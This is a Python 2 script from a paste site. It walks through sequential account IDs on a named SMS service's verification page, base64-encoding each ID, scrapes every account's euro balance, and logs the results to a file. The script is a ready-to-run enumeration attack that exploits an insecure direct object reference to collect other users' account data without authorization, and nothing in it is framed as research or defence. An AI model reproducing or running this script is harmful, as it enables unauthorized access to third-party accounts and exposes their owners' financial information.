#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import urllib2
import re
import base64
from cookielib import Cookie
from cookielib import CookieJar

cookiejar = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))
opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.89 Safari/537.36')]
def revisarCuenta(iId):
	try:
		peticion = opener.open("http://www.ismsad.com/verificacion.php?id="+ base64.b64encode(str(iId)))
		datos = peticion.read()
	except urllib2.HTTPError, e:
		datos = e.fp.read()
	saldo = re.findall( r'<a href="usuarioCompraSMS.php"><strong>(.*) \xe2\x82\xac<\/strong>', datos)
	if saldo:
		return str(iId) + ": " +  saldo[0]
	else:
		return None
	
contador = 1
while True:
	cuenta = revisarCuenta(contador)	
	if cuenta:
		f = open('cuentas.txt', 'a')
		print >> f, cuenta
		f.close()
	contador = contador + 1

comments powered by Disqus
TitleTime
guardare online 8 minutes
sdfnmcxzxc22 minutes
CINEBLOG33 minutes
dfghjk,sdfghjksdfghj35 minutes
ITA ALTADEFINIZIONE054 minutes
ufc-252-live-stream-reddi...3 hours
https://liveewvswatch.com...3 hours

© Paste4BTC 2014 - Earn bitcoins by pasting! | My pastes | Popular pastes | New pastes | Payments | FAQ | Terms of Service